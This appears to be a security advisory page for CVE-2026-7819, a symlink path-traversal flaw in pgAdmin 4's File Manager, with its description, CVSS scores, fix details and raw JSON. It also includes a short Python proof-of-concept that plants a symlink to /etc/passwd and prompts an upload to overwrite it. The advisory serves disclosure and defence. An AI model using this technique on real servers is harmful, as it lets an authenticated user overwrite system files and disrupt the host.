Security Vulnerability Report
中文
CVE-2026-7819 CVSS 8.1 HIGH

CVE-2026-7819

Published: 2026-05-11 16:17:39
Last Modified: 2026-05-11 17:16:35
Source: f86ef6dc-4d3a-42ad-8f28-e6d5547a5007

Description

Symbolic-link path traversal (CWE-61, CWE-22) in pgAdmin 4 File Manager. check_access_permission used os.path.abspath, which resolves '..' but does not resolve symbolic links, while the subsequent kernel write follows symlinks. An authenticated user could plant a symbolic link inside their own storage directory pointing outside it and induce pgAdmin to write to any path reachable by the pgAdmin process. Fix switches the access check to os.path.realpath for both source and destination, and adds an _open_upload_target helper that opens the target with O_NOFOLLOW (mode 0o600) to close the leaf-component TOCTOU between the access check and the open. File mode is hardened from 0o644 to 0o600. This issue affects pgAdmin 4: before 9.15.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

No configuration data available.

pgAdmin 4 < 9.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Concept for CVE-2026-7819 # This script demonstrates the creation of a malicious symlink. import os # Configuration USER_STORAGE_DIR = "/var/lib/pgadmin/storage/user_uuid/" TARGET_PATH = "/etc/passwd" # The target file to overwrite SYMLINK_NAME = "exploit_link" # Step 1: Create the symbolic link inside the user's storage full_link_path = os.path.join(USER_STORAGE_DIR, SYMLINK_NAME) try: # Create symlink pointing outside the storage directory os.symlink(TARGET_PATH, full_link_path) print(f"[+] Symlink created: {full_link_path} -> {TARGET_PATH}") except Exception as e: print(f"[-] Failed to create symlink: {e}") # Step 2: Trigger the upload/write via pgAdmin API # Using the filename 'exploit_link'. The check_access_permission will pass # because it resolves to an absolute path inside the storage dir. # However, the actual write will follow the symlink to /etc/passwd. print("[*] Now trigger a file upload via the web interface targeting 'exploit_link'")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7819", "sourceIdentifier": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "published": "2026-05-11T16:17:39.113", "lastModified": "2026-05-11T17:16:35.357", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Symbolic-link path traversal (CWE-61, CWE-22) in pgAdmin 4 File Manager.\n\ncheck_access_permission used os.path.abspath, which resolves '..' but does not resolve symbolic links, while the subsequent kernel write follows symlinks. An authenticated user could plant a symbolic link inside their own storage directory pointing outside it and induce pgAdmin to write to any path reachable by the pgAdmin process.\n\nFix switches the access check to os.path.realpath for both source and destination, and adds an _open_upload_target helper that opens the target with O_NOFOLLOW (mode 0o600) to close the leaf-component TOCTOU between the access check and the open. File mode is hardened from 0o644 to 0o600.\n\nThis issue affects pgAdmin 4: before 9.15."}], "metrics": {"cvssMetricV40": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-61"}]}], "references": [{"url": "https://github.com/pgadmin-org/pgadmin4/issues/9902", "source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007"}]}}